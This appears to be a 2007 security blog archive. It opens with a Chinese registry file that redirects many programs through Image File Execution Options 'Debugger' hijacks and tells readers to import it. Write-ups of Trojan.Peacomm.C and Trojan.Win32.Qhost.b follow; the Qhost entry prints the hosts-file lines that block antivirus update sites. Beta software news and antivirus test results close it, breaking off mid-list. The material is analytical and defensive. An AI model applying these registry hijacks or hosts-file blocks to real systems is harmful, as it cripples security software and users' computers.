[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Dmad-install.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\D-mad.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\004-PPGou-Dmad.EXE]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PPGou.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kugoo.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KuGoo.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TDUpdate.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PodcastBarMini.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MyShares.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vfp02.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\is-5SKT1.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bgoomain.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup_L0029.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ns40.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\1032.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\yAssistSe.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ddos.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BitTorrent.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\drwtsn32.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Win98局域網攻擊工具.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetThief.exe]
"Debugger"="c:\\網絡神偷.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RemoteComputer.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQTailer.exe]
"Debugger"="c:\\制造出來的QQ病毒.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\傀儡僵屍DDOS攻擊集合.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Alchem.exe]
"Debugger"="c:\\以下是存在風險病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\actalert.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\adaware.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\alevir.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aqadcup.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\archive.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\arr.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ARUpdate.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\asm.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\av.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avserve.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avserve2.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\backWeb.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bargains.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\basfipm.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\belt.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Biprep.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\blss.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bokja.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bootconf.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bpc.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brasil.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BRIDGE.DLL]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Buddy.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BUGSFIX.EXE]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bundle.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bvt.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cashback.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdaEngine.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd32.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmesys.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conime.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conscorr.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\crss.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cxtpls.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\datemanager.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcomx.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\directs.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\divx.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dllreg.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmserver.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dpi.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dssagent.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dvdkeyauth.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\emsw.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\exdl.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\exec.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EXP.EXE]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explore.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explored.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Fash.exe]
"Debugger"="c:\\病毒類.exe"

以上請自己複制到記事本,保存爲.reg的文件,運行導入即可!

注意：本文件裏有對訊雷軟件的禁止，還有QQ音速，請大家把它找出來去掉，以避免這個不能運行。其他的你們可以自己加，直接修改最後一個參數即可。

New Threat : Trojan.Peacomm.C

2007-08-23T19:54:00.000-07:00

Discovered: August 22, 2007

Updated: August 22, 2007 2:09:36 PM

Type: Trojan

Infection Length: 114,606 bytes

Systems Affected: Windows XP, Windows Server 2003, Windows 2000

This Trojan may be downloaded as one of the following files:

ecard.exe
msdataaccess.exe
applet.exe

When the Trojan is executed, it copies itself to the following location:
%Windir%\spooldr.exe

Next, the Trojan drops an embedded kernel driver to the following location:
%System%\spooldr.sys

It then attempts to infect the following legitimate Windows driver with a copy of Trojan.Peacomm.ini
%System%\drivers\kbdclass.sys

It also attempts to infect the cached copy of the above driver:
%System%\dllcache\kbdclass.sys

The infected driver is also copied to the following locations:

%Windir%\LastGood\system32\drivers\kbdclass.sys
%System%\Drivers\old5.tmp

The Trojan then ends and waits for the user to restart the computer.

When the computer is restarted, the file kbdclass.sys is loaded.

The infected driver then loads the following file:
%System%\spooldr.sys

The above file injects itself into the following process:
explorer.exe

It also has rootkit functionalities to hide the following process:
spooldr.exe

The rootkit also hides the following files:

%System%\spooldr.sys
%Windir%\spooldr.ini

It also disables the following security-related software:

ZoneAlarm Firewall
PC Watchdog Systems
Bcfilter Jetico Personal Firewall
Outpost Firewall
McAfee Anti Spyware
McAfee Internet Security Suite
FSecure Black Light
Kaspersky Anti Virus
Symantec Anti Virus
BitDefender Anti Virus
FSecure Anti Virus
Microsoft Anti Spyware
InterCheck Monitor
NOD32 Anti Virus
Panda Anti Virus

The Trojan then checks for the presence of VMWare or VirtualPC. If one of these virtual machines is detected, the Trojan enters an infinite loop and does nothing.

If the above virtual machines are not present, the Trojan creates the following event to ensure that only one copy of the threat is running on the computer:
K8JT6Hnjm$#jui#WWhHHgG

The Trojan then drops an encrypted list of initial peers to the following configuration file:
%Windir%\spooldr.ini

It registers the compromised computer as a peer in the existing file-sharing network, using the Overnet protocol by connecting to the peers specified in the initial peer list. It uses a randomly chosen UDP port to communicate with the other peers.

The file-sharing network can then be used by a remote attacker as a back door to gain access to the compromised computer.

The Trojan then steals operating system information from the compromised computer.

It also harvests email addresses from the computer by searching for files with the following extensions:

.wab
.txt
.msg
.htm
.shtm
.stm
.xml
.dbx
.mbx
.mdx
.eml
.nch
.mmf
.ods
.cfg
.asp
.php
.pl
.wsh
.adb
.tbb
.sht
.xls
.oft
.uin
.cgi
.mht
.dhtm
.jsp
.dat
.lst

The Trojan then sends spam emails by using its own SMTP engine.

It does not send emails to email addresses containing the following strings:

@microsoft
rating@
f-secur
news
update
anyone@
bugs@
contract@
feste
gold-certs@
help@
info@
nobody@
noone@
kasp
admin
icrosoft
support
ntivi
unix
bsd
linux
listserv
certific
sopho
@foo
@iana
free-av
@messagelab
winzip
google
winrar
samples
abuse
panda
cafee
spam
pgp
@avp.
noreply
local
root@
postmaster@

The Trojan steals information from the following registry subkey, which contains a unique ID for the computer on the file-sharing network:
HKEY_LOCAL_MACHINE\Microsoft\Windows\ITStorage\Finders\"config"

The Trojan may then download and execute potentially malicious files on to the compromised computer.

Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.
If a blended threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services (for example, all Windows-based computers should have the current Service Pack installed.). Additionally, please apply any security updates that are mentioned in this writeup, in trusted Security Bulletins, or on vendor Web sites.
Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.
Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.
Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.

Online Scanner Top Twenty for July 2007

2007-08-23T01:55:00.001-07:00

Alexander Gostev

Senior Virus Analyst, Kaspersky Lab

Position	Change in position	Name	Percentage
1.	Return	Trojan.Win32.Dialer.cj	8.82
2.	New	Backdoor.Win32.IRCBot.acd	4.21
3.	-1	Trojan.Win32.Dialer.qn	2.37
4.	New	Trojan-Downloader.Win32.Small.eqn	2.31
5.	-1	Backdoor.IRC.Zapchast	2.16
6.	-3	Trojan-Downloader.Win32.LoadAdv.gen	1.68
7.	Return	Backdoor.Win32.mIRC-based	1.55
8.	New	Packed.Win32.PolyCrypt.b	1.42
9.	New	Trojan-Downloader.Win32.Tibs.mq	1.09
10.	New	Trojan-Downloader.Win32.Nurech.bs	1.08
11.	-10	not-a-virus:AdWare.Win32.Virtumonde.jp	1.04
12.	Return	Virus.VBS.Small.a	0.88
13.	New	Backdoor.IRC.Cloner.ae	0.87
14.	New	Trojan.Win32.Agent.abe	0.64
15.	New	Trojan-Downloader.Win32.BHO.l	0.62
16.	New	Trojan-Proxy.Win32.Small.du	0.62
17.	Return	not-a-virus:PSWTool.Win32.RAS.a	0.60
18.	New	Trojan-Downloader.Win32.Alphabet.gen	0.59
19.	New	Trojan.Win32.Dialer.fn	0.55
20.	Return	Email-Worm.Win32.Rays	0.52
Other malicious programs			66.38

After a short break, Trojan Dialers are again at the top of the rankings based on the results of our July online scanner activity. In June, as we noted the rise of Dialer.qn, we predicted a new attack of such programs. This month the first position, and a respectable 9%, is taken by Dialer.cj. This Trojan is by no means new on the charts, and it actually topped the rankings in December 2006. Now, seven months later, we are witnessing its comeback.

On the whole, a look at this month’s Top Twenty produces a déjà vu effect: in addition to the two Trojan Dialers among the top three malicious programs, the ranking includes a number of backdoors that enable remote control of a system via IRC channels. These are IRCBot.acd (2nd place), Zapchast (5th), mIRC-based (7th), Cloner.ae (13th). All of them have pushed down various adware programs, which had steadily increased their standing in the rankings in May and June, primarily due to the rise of Virtumonde variants. For the June leader, Virtumonde.jp, this onslaught was too much and it dropped by 10 positions in a single month.

However, this does not mean that adware will give up easily. Althought Trojan-Downloader.Win32.LoadAdv.gen has moved down by three places (from the 3rd to the 6th), in terms of percentage points it has not lost much ground: it accounted for 1.68% of the malware detected in July, compared to 2.14% in June. Since this Trojan downloads various adware programs onto an infected system, it is likely to continue spreading.

The newcomers to the Top Twenty are relatively numerous – 11 malicious programs. As before, almost half of these are new Trojan Downloader variants. Trojan-Downloader.Win32.Nurech and Alphabet.gen, which are used to create botnets, are particularly dangerous.

Classic viruses Virus.VBS.Small.a and Email-Worm.Win32.Rays are back in the ranking. Rays left the Top Twenty ranking a month ago, but in July it somehow managed to make it back to the bottom position. As for its “twin brother”, the Brontok worm, which fell 7 places in the past two months, it did not make it into our latest statistics.

Summary

New: Backdoor.Win32.IRCBot.acd, Trojan-Downloader.Win32.Small.eqn, Packed.Win32.PolyCrypt.b, Trojan-Downloader.Win32.Tibs.mq, Trojan-Downloader.Win32.Nurech.bs, Backdoor.IRC.Cloner.ae, Trojan.Win32.Agent.abe, Trojan-Downloader.Win32.BHO.l, Trojan-Proxy.Win32.Small.du, Trojan-Downloader.Win32.Alphabet.gen, Trojan.Win32.Dialer.fn
Moved down: Trojan.Win32.Dialer.qn, Backdoor.IRC.Zapchast, Trojan-Downloader.Win32.LoadAdv.gen, not-a-virus:AdWare.Win32.Virtumonde.jp
Re-entry: Trojan.Win32.Dialer.cj, Backdoor.Win32.mIRC-based, Virus.VBS.Small.a, not-a-virus:PSWTool.Win32.RAS.a, Email-Worm.Win32.Rays.

New Threat : Trojan.Win32.Qhost.b

2007-08-23T01:51:00.000-07:00

Aliases
Trojan.Win32.Qhost.b is also known as: Trj/Qhost.gen
Description added Aug 23 2007
Behavior Trojan

Technical details

This Trojan is designed to modify the mapping of domain names to IP addresses. It is a Windows PE EXE file. It is 20 585 bytes in size. It is written in Borland Delphi. It is packed using FSG. The unpacked file is approximately 70KB in size.
Payload

This Trojan is a modified Windows %System%\drivers\etc\hosts file, which is used to map domain names (DNS) to IP addresses. The following strings are added to the hosts file.

127.0.0.1 http://downloads4.kaspersky-labs.com
127.0.0.1 http://downloads3.kaspersky-labs.com
127.0.0.1 http://downloads2.kaspersky-labs.com
127.0.0.1 http://downloads1.kaspersky-labs.com
127.0.0.1 ftp://downloads4.kaspersky-labs.com
127.0.0.1 ftp://downloads3.kaspersky-labs.com
127.0.0.1 ftp://downloads2.kaspersky-labs.com
127.0.0.1 ftp://downloads1.kaspersky-labs.com
127.0.0.1 downloads-us1.kaspersky-labs.com
127.0.0.1 rads.mcafee.com
127.0.0.1 http://www.secuser.com
127.0.0.1 a188.x.akamai.net
127.0.0.1 liveupdate.symantecliveupdate.com
127.0.0.1 liveupdate.symantec.com
127.0.0.1 liveupdate.symantec.d4p.net
127.0.0.1 update.symantec.com
127.0.0.1 ftp.nai.com
127.0.0.1 www.grisoft.cz
127.0.0.1 www.grisoft.com
127.0.0.1 free.grisoft.cz
127.0.0.1 tds.diamondcs.com.au
127.0.0.1 ieupdate.gdata.de
127.0.0.1 ieupdate6.gdata.de
127.0.0.1 ieupdate5.gdata.de
127.0.0.1 ieupdate4.gdata.de
127.0.0.1 ieupdate3.gdata.de
127.0.0.1 ieupdate2.gdata.de
127.0.0.1 ieupdate1.gdata.de
127.0.0.1 www.iavs.cz
127.0.0.1 download7.avast.com
127.0.0.1 download6.avast.com
127.0.0.1 download5.avast.com
127.0.0.1 download4.avast.com
127.0.0.1 download3.avast.com
127.0.0.1 download2.avast.com
127.0.0.1 download1.avast.com
127.0.0.1 upgrade.bitdefender.com
127.0.0.1 windowsupdate.microsoft.com
127.0.0.1 www.lavasoftusa.com
127.0.0.1 www.a-2.org
127.0.0.1 updates.a-2.org
127.0.0.1 niuone.norman.no
127.0.0.1 www.diamondcs.com.au
127.0.0.1 www.attechnical.com
127.0.0.1 www.zeylstra.nl
127.0.0.1 fractus.mat.uson.mx
127.0.0.1 www.toonbox.de
127.0.0.1 radius.turvamies.com
127.0.0.1 diamondcs.fileburst.com
127.0.0.1 downloads.My-eTrust.com
127.0.0.1 acs.pandasoftware.com
127.0.0.1 v4.windowsupdate.microsoft.com
127.0.0.1 www.NoAdware.net
127.0.0.1 www.nod32.com
127.0.0.1 www.eset.sk
127.0.0.1 avu.zonelabs.com
127.0.0.1 retail.sp.f-secure.com
127.0.0.1 retail01.sp.f-secure.com
127.0.0.1 retail02.sp.f-secure.com
127.0.0.1 www.moosoft.com
127.0.0.1 secuser.model-fx.com
127.0.0.1 secuser.com
127.0.0.1 downloads-eu1.kaspersky-labs.com
127.0.0.1 downloads2.kaspersky-labs.com
127.0.0.1 downloads4.kaspersky-labs.com
127.0.0.1 downloads1.kaspersky-labs.com
127.0.0.1 pccreg.antivirus.com
127.0.0.1 dl1.antivir.de
127.0.0.1 dl2.antivir.de
127.0.0.1 dl3.antivir.de
127.0.0.1 dl4.antivir.de

The modifications made to %System%\drivers\etc\hosts make it impossible to access the resources listed above from the victim machine.
Removal instructions

If your computer does not have an up-to-date antivirus, or does not have an antivirus solution at all, follow the instructions below to delete the malicious program:

1. Delete the original Trojan file (the location will depend on how the program originally penetrated the victim machine).
2. Modify the %System%\drivers\etc\hosts file using any standard application (e.g. Notepad). Delete the strings added by the Trojan. The original hosts file has the following contents:

# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost

3. Update your antivirus databases and perform a full scan of the computer

BitDefender Total Security 2008 Beta 4

2007-08-22T19:58:00.000-07:00

32bit : http://download.bitdefender.com/windows/desktop/total_security/beta/bitdefender_totalsecurity_v11_b4.exe

64bit :http://download.bitdefender.com/ ... security_v11_b4.exe

Microsoft Forefront Client Security

2007-08-22T05:43:00.002-07:00

I remember hearing about Forefront Client Security a while ago (maybe a few months) but then I never heard any news of it pop up again. So I did a little bit of searching and I noticed a beta version of it has been released.

Basically, Forefront is an Anti-Virus and Anti-Spyware program meant for "business environments" It looks the EXACT same as Windows Defender, except this beta is newer than Defender:

Microsoft Forefront Client Security
Client Version: 1.5.1933.0
Engine Version: 1.1.2204.0
Antivirus definition: 1.15.2240.1
Antispyware definition: 1.15.2240.1

Windows Defender
Windows Defender Version: 1.1.1505.0
Engine Version: 1.1.2101.0
Definition Version: 1.15.2233.6

(Also, Forefront doesnt have the ugly Blue > Green UI efender does, it has the old blue UI.)

I only installed it yesterday, so i'm not sure how the Anti-Virus performs, but knowing MS... let's just say i'm keeping avast! by my side for now. The Anti-Spyware, well I can only assume it's working the same as Defender, if not better. And So far Windows Defender has been doing a great job.

If you want to try it out, heres the link:
http://www.microsoft.com/forefront/clients...ty/default.mspx

And heres the direct link to the Download:
http://www.microsoft.com/downloads/details...;DisplayLang=en

Eset Smart Security 3.0.128.0 Public Beta 1

2007-08-22T05:43:00.001-07:00

ESET Smart Security is a fully integrated security solution and includes antivirus, anti-spyware, a personal firewall and antispam. While some competitive solutions purport to have similar functionality, ESET has developed a unique approach that provides true and full integration of point security solutions. The key advantage of this approach is that individual protection modules are able to communicate together seamlessly, to create unparalleled synergy to improve the efficiency and effectiveness of protection. Moreover, the integrated architecture guarantees optimal utilization of system resources, so ESET Smart Security continues ESETâ€™s well know reputation for providing rock solid security in a small footprint that will not slow down an individualâ€™s computer.

Whatâ€™s new
ESET Smart Security is a milestone in the field of computer protection against infiltrations and attacks. The program offers more than just a sum of its parts â€“ it is synergy that matters most. If all components are used simultaneously, the effectiveness of the whole program is multiplied. ESET Smart Security unifies all its functions to create a complex security solution.

ESET Smart Security is based on three basic pillars:

ESET NOD32 Antivirus + Antispyware
This component is in fact an improved version of the award-winning scanning engine of NOD32 Antivirus v2.7.

ESET Personal Firewall
Firewall monitors all traffic between a protected computer and other computers in the local network and in the Internet.

ESET Anti Spam
ESET Anti Spam serves to filter unsolicited email, which makes your work with email more effective.

download:

http://download1.eset.com/special/essbeta/ess_nt32_enu.msi

Trend Micro OS Protection Beta Released

2007-08-22T05:35:00.001-07:00

Trend Micro today released Trend Micro OS Protection beta for its Trend Micro Internet Security 2007 customers. OS protection includes Trend Micro Firewall Booster and Trend Micro Pre-Startup Scan.

Rather than rail against various kernel changes within Windows Vista as Symantec and other did last fall, Trend Micro says it wanted to work in cooperation with Microsoft. Trend Micro OS Protection works on both the 32-bit and 64-bit editions of Windows Vista.

The chief benefit from Trend Micro Firewall Booster is Windows Vista users won't have dual firewall technologies running. Firewall Booster leverages existing Windows Vista Firewall capabilities, adding protection provided by Trend Micro. Trend Micro Pre-Startup Scan runs before Windows Vista boots, ferreting out sleeping malware such as rootkits before engaging the operating system. Pre-Startup includes a system restore checkpoint, so that a user can always roll back any changes made. The process is not automatic, allowing the user to decide when and how the scans will be done.

Quick Scan takes only a few minutes and identifies rootkits and any browser-related malware. Full Scan performs a thorough scan all of the files on the system. While Full Scan can take up to a half hour to complete (all the while Windows Vista is not running), there is an option to shut down the system afterward so Full Scans can be run late at night.

Trend Micro OS Protection beta is available in addition to the existing certified by Microsoft as Windows Vista compatible firewall protection within Trend Micro Internet Security 2007. OS Protection is designed for more advanced Trend Micro users who want a more powerful firewall and is not necessary for average Internet users. Available for download from the TrendSecure site, OS Protection is free of charge to existing Trend Micro Internet Security 2007 customers.

View: Trend Micro Beta Overview
Source: CNet

2007-08-22T05:35:00.000-07:00

Windows Vista x64 - August 2007

2007-08-22T03:20:00.000-07:00

Alwil

Status: PASS
Result history: Alwil
Product name: Alwil avast! Professional 4.7.1015

Bullguard

Status: PASS
Result history: Bullguard
Product name: Bullguard v.7.0 x64

CA eTrust

Status: FAIL
Result history: CA eTrust
Product name: CA eTrust r.8.1.634.0

CAT QuickHeal

Status: PASS
Result history: CAT QuickHeal
Product name: CAT Quick Heal 2007 v.9.00

Eset

Status: PASS
Result history: Eset
Product name: ESET Nod32 Antivirus System v.2375

Fortinet

Status: FAIL
Result history: Fortinet
Product name: Fortinet FortiClient 3.0.458

GDATA

Status: PASS
Result history: GDATA
Product name: G DATA AntiVirusKit 17.0.7171

Grisoft

Status: PASS
Result history: Grisoft
Product name: Grisoft AVG Professional Edition 7.5.476

Ikarus

Status: FAIL
Result history: Ikarus
Product name: Ikarus Virus Utilities 1.0.57

Kaspersky

Status: PASS
Result history: Kaspersky
